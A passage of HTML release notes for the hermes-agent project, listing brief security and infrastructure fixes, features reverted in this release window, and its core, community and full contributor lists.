<li>Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (<a href="https://github.com/NousResearch/hermes-agent/pull/58222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58222/hovercard">#58222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60236" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60236/hovercard">#60236</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49435" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49435/hovercard">#49435</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>)</li>
<li>CI: untrusted refs passed through env, not <code>run:</code> interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (<a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60707" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60707/hovercard">#60707</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65186/hovercard">#65186</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (<a href="https://github.com/NousResearch/hermes-agent/pull/59149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59149/hovercard">#59149</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64651" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64651/hovercard">#64651</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66040/hovercard">#66040</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (<a href="https://github.com/NousResearch/hermes-agent/pull/67238" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67238/hovercard">#67238</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59339" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59339/hovercard">#59339</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58178/hovercard">#58178</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; <code>/new</code> memory extraction moved off the command path (<a href="https://github.com/NousResearch/hermes-agent/pull/58350" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58350/hovercard">#58350</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64379/hovercard">#64379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61139" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61139/hovercard">#61139</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🔁 Reverted in this window (for the record)</h2>
<ul>
<li>iron-proxy credential-injection egress firewall (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499336733" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/30179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30179/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/30179">#30179</a> → reverted in <a href="https://github.com/NousResearch/hermes-agent/pull/58489" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58489/hovercard">#58489</a>) — not shipping in this release</li>
<li>dynamic-workflow orchestration skill (landed, then reverted) — not shipping</li>
<li>memory provider-actions extension point (landed, then reverted) — not shipping</li>
<li>Note: the plugin <code>pre_tool_call</code> approve escalation was reverted mid-window but <strong>re-landed</strong> in <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> and ships in this release.</li>
</ul>
<h2>👥 Contributors</h2>
<p><strong>450+ people</strong> contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.</p>
<h3>Core team</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a> — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — terminal billing (<code>/subscription</code>, <code>/topup</code>), desktop billing tab</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — desktop custom endpoint settings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SHL0MS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SHL0MS">@SHL0MS</a> — unbroker + unreal-mcp skills, humanizer expansion</li>
</ul>
<h3>Top community contributors</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a> — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HexLab98/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HexLab98">@HexLab98</a> — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/UnathiCodex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/UnathiCodex">@UnathiCodex</a> — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — <code>&lt;think&gt;</code> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a> — desktop declarative memory-provider panel + honcho recall/timeout correctness</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Frowtek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Frowtek">@Frowtek</a> — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/necoweb3/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/necoweb3">@necoweb3</a> — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DavidMetcalfe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DavidMetcalfe">@DavidMetcalfe</a> — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a> — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishal-dharm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishal-dharm">@vishal-dharm</a> — Gemini request-context improvements</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PRATHAMESH75/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PRATHAMESH75">@PRATHAMESH75</a> — cron one-shot stale-removal race, dashboard multiplex port-binding guard</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/embwl0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/embwl0x">@embwl0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giggling-ginger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giggling-ginger">@giggling-ginger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frizikk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frizikk">@frizikk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, @wesleysimplici, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pierrenode/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pierrenode">@pierrenode</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simpolism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simpolism">@simpolism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MorAlekss/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MorAlekss">@MorAlekss</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/r266-tech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/r266-tech">@r266-tech</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/WadydX/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/WadydX">@WadydX</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nv-kasikritc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nv-kasikritc">@nv-kasikritc</a> — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces</li>
<li>Salvaged-work authors whose PRs were cherry-picked with credit this window: <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a> (profile routing), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a> (sessions export), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a> (1Password), <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Christopher-Schulze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Christopher-Schulze">@Christopher-Schulze</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjiangtao2024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjiangtao2024">@sjiangtao2024</a>, and many more — see the salvage PR bodies for full attribution</li>
</ul>
<h3>All contributors</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0-CYBERDYNE-SYSTEMS-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0-CYBERDYNE-SYSTEMS-0">@0-CYBERDYNE-SYSTEMS-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0disoft/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0disoft">@0disoft</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xbyt4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xbyt4">@0xbyt4</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/17324393074/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/17324393074">@17324393074</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/2751738943/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/2751738943">@2751738943</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/8294/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/8294">@8294</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/abhibansal-sg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/abhibansal-sg">@abhibansal-sg</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adambiggs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adambiggs">@adambiggs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aeyeopsdev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aeyeopsdev">@aeyeopsdev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aguung/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aguung">@aguung</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ahmett101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ahmett101">@Ahmett101</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-ag2026/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-ag2026">@ai-ag2026</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajzrva-sys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajzrva-sys">@ajzrva-sys</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alastraz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alastraz">@alastraz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-fireworks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-fireworks">@alex-fireworks</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-heritier/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-heritier">@alex-heritier</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex107ivanov/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex107ivanov">@alex107ivanov</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexFucuson9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexFucuson9">@AlexFucuson9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Alix-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Alix-007">@Alix-007</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/allenliang2022/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/allenliang2022">@allenliang2022</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Almurat123/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Almurat123">@Almurat123</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlsayedHoota/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlsayedHoota">@AlsayedHoota</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alvarosanchez/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alvarosanchez">@alvarosanchez</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amanning3390/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amanning3390">@amanning3390</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AmAzing129/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AmAzing129">@AmAzing129</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AndreasHiltner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AndreasHiltner">@AndreasHiltner</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andrewhomeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andrewhomeyer">@andrewhomeyer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ansel-f/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ansel-f">@ansel-f</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/antydizajn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/antydizajn">@antydizajn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arminanton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arminanton">@arminanton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/arnispiekus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/arnispiekus">@arnispiekus</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asimons81/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asimons81">@asimons81</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asscan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asscan">@asscan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ats3v/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ats3v">@ats3v</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinlaw076/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinlaw076">@austinlaw076</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/avifenesh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/avifenesh">@avifenesh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aydnOktay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aydnOktay">@aydnOktay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bautrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bautrey">@bautrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbopen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbopen">@bbopen</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bigstar0920/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bigstar0920">@bigstar0920</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/binhnt92/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/binhnt92">@binhnt92</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bird/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bird">@bird</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Black0Fox0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Black0Fox0">@Black0Fox0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>, @bo.fu, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brendandebeasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brendandebeasi">@brendandebeasi</a>,<br>
